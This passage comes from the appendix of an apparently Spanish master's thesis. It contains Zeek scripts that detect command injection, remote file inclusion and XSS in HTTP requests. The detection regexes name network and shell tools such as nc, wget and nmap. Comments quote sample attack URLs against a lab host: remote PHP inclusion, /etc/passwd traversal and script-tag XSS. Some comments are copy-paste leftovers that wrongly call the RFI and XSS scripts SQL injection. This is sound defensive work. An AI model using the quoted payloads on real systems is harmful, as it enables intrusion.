hostnamectl|hwclock|hwinfo|ifconfig|ionice|iostat|iptables|iw|iwlist|kill|ki

llall|kmod|last|ln|locate|login|ls|lshw|lscpu|lsof|lsusb|man|mdsum|mkdir|mor

e|mv|nano|nc|netcat|netstat|nice|nmap|nproc|openssl|passwd|pidof|ping|ps|pst

ree|pwd|rdiff-

backup|reboot|rename|rm|rmdir|scp|shutdown|sleep|sort|split|ssh|stat|su|sudo

|sum|tac|tail|talk|tar|tee|tree|time|top|touch|tr|uname|uniq|uptime|users|vi

m|vi|wall|watch|wget|whatis|which|who|whereis|xargs|zcmp|zdiff|zip)[^&]*/ 

 

  &redef; 

 

 ## A hook that can be used to prevent specific requests from being counted 

 ## as an injection attempt.  Use a 'break' statement to exit the hook 

 ## early and ignore the request. 

 global HTTP::cmdi_policy: hook(c: connection, method: string, 

unescaped_URI: string); 

} 
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function format_cmdi_samples(samples: vector of SumStats::Observation): 

string 

 { 

 local ret = "CMDi samples\n---------------------"; 

 for ( i in samples ) 

  ret += "\n" + samples[i]$str; 

 return ret; 

 } 

 

event zeek_init() &priority=3 

 { 

 # Add filters to the metrics so that the metrics framework knows how to 

 # determine when it looks like an actual attack and how to respond when 

 # thresholds are crossed. 

 local r1: SumStats::Reducer = [$stream="http.cmdi.attacker", 

$apply=set(SumStats::SUM, SumStats::SAMPLE), 

$num_samples=collect_cmdi_samples]; 

 SumStats::create([$name="detect-cmdi-attackers", 

    $epoch=cmdi_requests_interval, 

    $reducers=set(r1), 

    $threshold_val(key: SumStats::Key, result: SumStats::Result) = 

   { 

   return result["http.cmdi.attacker"]$sum; 

   }, 

    $threshold=cmdi_requests_threshold, 

    $threshold_crossed(key: SumStats::Key, result: SumStats::Result) = 

   { 

   local r = result["http.cmdi.attacker"]; 

   NOTICE([$note=CMDi_Attacker, 

    $msg="An CMDi attacker was discovered!", 

   $email_body_sections=vector(format_cmdi_samples(r$samples)), 

    $src=key$host, 

    $suppress_for=1min, 

    $identifier=cat(key$host)]); 

   }]); 

 

 local r2: SumStats::Reducer = [$stream="http.cmdi.victim", 

$apply=set(SumStats::SUM, SumStats::SAMPLE), 

$num_samples=collect_cmdi_samples]; 

 SumStats::create([$name="detect-cmdi-victims", 

    $epoch=cmdi_requests_interval, 

    $reducers=set(r2), 

    $threshold_val(key: SumStats::Key, result: SumStats::Result) = 

   { 

   return result["http.cmdi.victim"]$sum; 

   }, 

    $threshold=cmdi_requests_threshold, 

    $threshold_crossed(key: SumStats::Key, result: SumStats::Result) = 

   { 

   local r = result["http.cmdi.victim"]; 

   NOTICE([$note=CMDi_Victim, 

     $msg="An CMDi victim was discovered!", 

   $email_body_sections=vector(format_cmdi_samples(r$samples)), 

     $src=key$host, 

     $suppress_for=1min, 

     $identifier=cat(key$host)]); 

   }]); 

 } 

 

event http_request(c: connection, method: string, original_URI: string, 

                   unescaped_URI: string, version: string) &priority=3 
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 { 

 if ( ! hook HTTP::cmdi_policy(c, method, unescaped_URI) ) 

  return; 

 

 if ( match_cmdi_uri in unescaped_URI ) 

  { 

  add c$http$tags[URI_CMDi]; 

  SumStats::observe("http.cmdi.attacker", [$host=c$id$orig_h], 

[$str=original_URI]); 

  SumStats::observe("http.cmdi.victim",   [$host=c$id$resp_h], 

[$str=original_URI]); 

  } 

 } 

 

3.- rcv-detect-rfi.zeek 
 

##! RFI attack detection in HTTP. 

 

@load base/frameworks/notice 

@load base/frameworks/sumstats 

@load base/protocols/http 

 

module HTTP; 

 

export { 

 redef enum Notice::Type += { 

  ## Indicates that a host performing SQL injection attacks was 

  ## detected. 

  RFI_Attacker, 

  ## Indicates that a host was seen to have SQL injection attacks 

  ## against it.  This is tracked by IP address as opposed to 

  ## hostname. 

  RFI_Victim, 

 }; 

 

 redef enum Tags += { 

  ## Indicator of a URI based SQL injection attack. 

  URI_RFI, 

  ## Indicator of client body based SQL injection attack.  This is 

  ## typically the body content of a POST request. Not implemented 

  ## yet. 

  POST_RFI, 

  ## Indicator of a cookie based SQL injection attack. Not 

  ## implemented yet. 

  COOKIE_RFI, 

 }; 

 

 ## Defines the threshold that determines if an SQL injection attack 

 ## is ongoing based on the number of requests that appear to be SQL 

 ## injection attacks. 

 const rfi_requests_threshold: double = 1.0 &redef; 

 

 ## Interval at which to watch for the 

 ## :zeek:id:`HTTP::sqli_requests_threshold` variable to be crossed. 

 ## At the end of each interval the counter is reset. 

 const rfi_requests_interval = 2min &redef; 

 

 ## Collecting samples will add extra data to notice emails 

 ## by collecting some sample SQL injection url paths.  Disable 

 ## sample collection by setting this value to 0. 
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 const collect_rfi_samples = 0 &redef; 

 

 ## Regular expression is used to match URI based SQL injections. 

 const match_rfi_uri = 

   

  # Detects - 

http://172.18.100.10/vulnerabilities/fi/?page=http://192.168.80.128/rfi-

test.php   

  /[\?&][^[:blank:]\x00-\x37\|]+?\=[Hh][Tt][Tt][Pp][Ss]?\:\/\/.*/ 

   

  # Detects: 

http://172.18.100.10/vulnerabilities/fi/?page=../../etc/passwd 

  | /[\?&][^[:blank:]\x00-

\x37\|]+?\=((\.\.?)+\/*)+\/(bin|boot|dev|etc|home|lib|lib32|lib64|libx32|lo

st+found|media|mnt|opt|proc|root|run|sbin|srv|sys|tmp|usr|var)\/.*/ 

 

  &redef; 

 

 ## A hook that can be used to prevent specific requests from being 

counted 

 ## as an injection attempt.  Use a 'break' statement to exit the hook 

 ## early and ignore the request. 

 global HTTP::rfi_policy: hook(c: connection, method: string, 

unescaped_URI: string); 

} 

 

function format_rfi_samples(samples: vector of SumStats::Observation): 

string 

 { 

 local ret = "RFI samples\n---------------------"; 

 for ( i in samples ) 

  ret += "\n" + samples[i]$str; 

 return ret; 

 } 

 

event zeek_init() &priority=3 

 { 

 # Add filters to the metrics so that the metrics framework knows how to 

 # determine when it looks like an actual attack and how to respond when 

 # thresholds are crossed. 

 local r1: SumStats::Reducer = [$stream="http.rfi.attacker", 

$apply=set(SumStats::SUM, SumStats::SAMPLE), 

$num_samples=collect_rfi_samples]; 

 SumStats::create([$name="detect-rfi-attackers", 

   $epoch=rfi_requests_interval, 

   $reducers=set(r1), 

   $threshold_val(key: SumStats::Key, result: SumStats::Result) = 

  { 

  return result["http.rfi.attacker"]$sum; 

  }, 

   $threshold=rfi_requests_threshold, 

   $threshold_crossed(key: SumStats::Key, result: SumStats::Result) = 

  { 

  local r = result["http.rfi.attacker"]; 

  NOTICE([$note=RFI_Attacker, 

   $msg="An RFI attacker was discovered!", 

   $email_body_sections=vector(format_rfi_samples(r$samples)), 

   $src=key$host, 

   $suppress_for=1min, 

   $identifier=cat(key$host)]); 

  }]); 
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 local r2: SumStats::Reducer = [$stream="http.rfi.victim", 

$apply=set(SumStats::SUM, SumStats::SAMPLE), 

$num_samples=collect_rfi_samples]; 

 SumStats::create([$name="detect-rfi-victims", 

   $epoch=rfi_requests_interval, 

   $reducers=set(r2), 

   $threshold_val(key: SumStats::Key, result: SumStats::Result) = 

  { 

  return result["http.rfi.victim"]$sum; 

  }, 

   $threshold=rfi_requests_threshold, 

   $threshold_crossed(key: SumStats::Key, result: SumStats::Result) = 

  { 

  local r = result["http.rfi.victim"]; 

  NOTICE([$note=RFI_Victim, 

   $msg="An RFI victim was discovered!", 

   $email_body_sections=vector(format_rfi_samples(r$samples)), 

   $src=key$host, 

   $suppress_for=1min, 

   $identifier=cat(key$host)]); 

  }]); 

 } 

 

event http_request(c: connection, method: string, original_URI: string, 

                   unescaped_URI: string, version: string) &priority=3 

 { 

 if ( ! hook HTTP::rfi_policy(c, method, unescaped_URI) ) 

  return; 

 

 if ( match_rfi_uri in unescaped_URI ) 

  { 

  add c$http$tags[URI_RFI]; 

 

  SumStats::observe("http.rfi.attacker", [$host=c$id$orig_h], 

[$str=original_URI]); 

  SumStats::observe("http.rfi.victim",   [$host=c$id$resp_h], 

[$str=original_URI]); 

  } 

 } 

 

4.- rcv-detect-xss.zeek 
 

##! XSS attack detection in HTTP. 

 

@load base/frameworks/notice 

@load base/frameworks/sumstats 

@load base/protocols/http 

 

module HTTP; 

 

export { 

 redef enum Notice::Type += { 

  ## Indicates that a host performing SQL injection attacks was 

  ## detected. 

  XSS_Attacker, 

  ## Indicates that a host was seen to have SQL injection attacks 

  ## against it.  This is tracked by IP address as opposed to 

  ## hostname. 
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  XSS_Victim, 

 }; 

 

 redef enum Tags += { 

  ## Indicator of a URI based SQL injection attack. 

  URI_XSS, 

  ## Indicator of client body based SQL injection attack.  This is 

  ## typically the body content of a POST request. Not implemented 

  ## yet. 

  POST_XSS, 

  ## Indicator of a cookie based SQL injection attack. Not 

  ## implemented yet. 

  COOKIE_XSS, 

 }; 

 

 ## Defines the threshold that determines if an SQL injection attack 

 ## is ongoing based on the number of requests that appear to be SQL 

 ## injection attacks. 

 const xss_requests_threshold: double = 1.0 &redef; 

 

 ## Interval at which to watch for the 

 ## :zeek:id:`HTTP::sqli_requests_threshold` variable to be crossed. 

 ## At the end of each interval the counter is reset. 

 const xss_requests_interval = 2min &redef; 

 

 ## Collecting samples will add extra data to notice emails 

 ## by collecting some sample SQL injection url paths.  Disable 

 ## sample collection by setting this value to 0. 

 const collect_xss_samples = 0 &redef; 

 

 ## Regular expression is used to match URI based SQL injections. 

 const match_xss_uri = 

   

  # Detects: http://172.18.100.10/vulnerabilities/xss_r/?name=Hacker 

<script>&user_token=89904d671c24bbc44bced553aca9e36f# 

  # Tags javascript 

  /[\?&][^[:blank:]\x00-\x37\|]+?\=.*<[[:blank:]\+]*\/?(\!\-\-

|\!DOCTYPE|a|abbr|acronym|address|applet|area|article|aside|audio|b|base|ba

sefont|bdi|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|cod

e|col|colgroup|data|datalist|dd|del|details|dfn|dialog|dir|div|dl|dt|em|emb

ed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h

5|h6|head|header|hr|html|i|iframe|img|input|ins|kbd|label|legend|li|link|ma

in|map|mark|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|outp

ut|p|param|picture|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|s

mall|source|span|strike|strong|style|sub|summary|sup|svg|table|tbody|td|tem

plate|textarea|tfoot|th|thead|time|title|tr|track|tt|u|ul|var|video|wbr)[[:

blank:]\+\>]+[^\&]*/i 

 

  # Detects: 

http://172.18.100.10/vulnerabilities/xss_r/?name="><iframe 

src="javascript:alert(XSS)"># 

  | /[\?&][^[:blank:]\x00-

\x37\|]+?\=.*(javascript|vbscript|livescript)\:[^\&]+/ 

   

  # Detecta un comando despues de un "<" 

  | /[\?&][^[:blank:]\x00-

\x37\|]+?\=.*<.*(fscommand|href|onabort|onactivate|onafterprint|onafterupda

te|onbeforeactivate|onbeforecopy|onbeforecut|onbeforedeactivate|onbeforeedi

tfocus|onbeforepaste|onbeforeprint|onbeforeunload|onbeforeupdate|onbegin|on

blur|onbounce|oncellchange|onchange|onclick|oncontextmenu|oncontrolselect|o

ncopy|oncut|ondataavailable|ondatasetchanged|ondatasetcomplete|ondblclick|o
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ndeactivate|ondrag|ondragend|ondragleave|ondragenter|ondragover|ondragdrop|

ondragstart|ondrop|onend|onerror|onerrorupdate|onfilterchange|onfinish|onfo

cus|onfocusin|onfocusout|onhashchange|onhelp|oninput|onkeydown|onkeypress|o

nkeyup|onlayoutcomplete|onload|onlosecapture|onmediacomplete|onmediaerror|o

nmessage|onmousedown|onmouseenter|onmouseleave|onmousemove|onmouseout|onmou

seover|onmouseup|onmousewheel|onmove|onmoveend|onmovestart|onoffline|ononli

ne|onoutofsync|onpaste|onpause|onpopstate|onprogress|onpropertychange|onrea

dystatechange|onredo|onrepeat|onreset|onresize|onresizeend|onresizestart|on

resume|onreverse|onrowsenter|onrowexit|onrowdelete|onrowinserted|onscroll|o

nseek|onselect|onselectionchange|onselectstart|onstart|onstop|onstorage|ons

yncrestored|onsubmit|ontimeerror|ontrackchange|onundo|onunload|onurlflip|se

eksegmenttime|onpageshow)/i 

 

  &redef; 

 

 ## A hook that can be used to prevent specific requests from being 

counted 

 ## as an injection attempt.  Use a 'break' statement to exit the hook 

 ## early and ignore the request. 

 global HTTP::xss_policy: hook(c: connection, method: string, 

unescaped_URI: string); 

} 

 

function format_xss_samples(samples: vector of SumStats::Observation): 

string 

 { 

 local ret = "XSS samples\n---------------------"; 

 for ( i in samples ) 

  ret += "\n" + samples[i]$str; 

 return ret; 

 } 

 

event zeek_init() &priority=3 

 { 

 # Add filters to the metrics so that the metrics framework knows how to 

 # determine when it looks like an actual attack and how to respond when 

 # thresholds are crossed. 

 local r1: SumStats::Reducer = [$stream="http.xss.attacker", 

$apply=set(SumStats::SUM, SumStats::SAMPLE), 

$num_samples=collect_xss_samples]; 

 SumStats::create([$name="detect-xss-attackers", 

   $epoch=xss_requests_interval, 

   $reducers=set(r1), 

   $threshold_val(key: SumStats::Key, result: SumStats::Result) = 

  { 

  return result["http.xss.attacker"]$sum; 

  }, 

   $threshold=xss_requests_threshold, 

   $threshold_crossed(key: SumStats::Key, result: SumStats::Result) = 

  { 

  local r = result["http.xss.attacker"]; 

  NOTICE([$note=XSS_Attacker, 

   $msg="An XSS attacker was discovered!", 

   $email_body_sections=vector(format_xss_samples(r$samples)), 

   $src=key$host, 

   $suppress_for=1min, 

   $identifier=cat(key$host)]); 

  }]); 
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 local r2: SumStats::Reducer = [$stream="http.xss.victim", 

$apply=set(SumStats::SUM, SumStats::SAMPLE), 

$num_samples=collect_xss_samples]; 

 SumStats::create([$name="detect-xss-victims", 

   $epoch=xss_requests_interval, 

   $reducers=set(r2), 

   $threshold_val(key: SumStats::Key, result: SumStats::Result) = 

  { 

  return result["http.xss.victim"]$sum; 

  }, 

   $threshold=xss_requests_threshold, 

   $threshold_crossed(key: SumStats::Key, result: SumStats::Result) = 

  { 

  local r = result["http.xss.victim"]; 

  NOTICE([$note=XSS_Victim, 

   $msg="An XSS victim was discovered!", 

   $email_body_sections=vector(format_xss_samples(r$samples)), 

   $src=key$host, 

   $suppress_for=1min, 

   $identifier=cat(key$host)]); 

  }]); 

 } 

 

event http_request(c: connection, method: string, original_URI: string, 

                   unescaped_URI: string, version: string) &priority=3 

 { 

 if ( ! hook HTTP::xss_policy(c, method, unescaped_URI) ) 

  return; 

 

 if ( match_xss_uri in unescaped_URI ) 

  { 

  add c$http$tags[URI_XSS]; 

 

  SumStats::observe("http.xss.attacker", [$host=c$id$orig_h], 

[$str=original_URI]); 

  SumStats::observe("http.xss.victim",   [$host=c$id$resp_h], 

[$str=original_URI]); 

  } 

 } 
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Anexo IIII. Dashboards finales 
 

1.- Dashboard personalizado – [TFM] Monitorización de seguridad 
 

 

Ilustración 51 - Dashboard personalizado – [TFM] Monitorización de seguridad 
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2.- Dashboard personalizado – [TFM] Monitorización de salud 

 

 

Ilustración 52 - Dashboard personalizado – [TFM] Monitorización de salud 


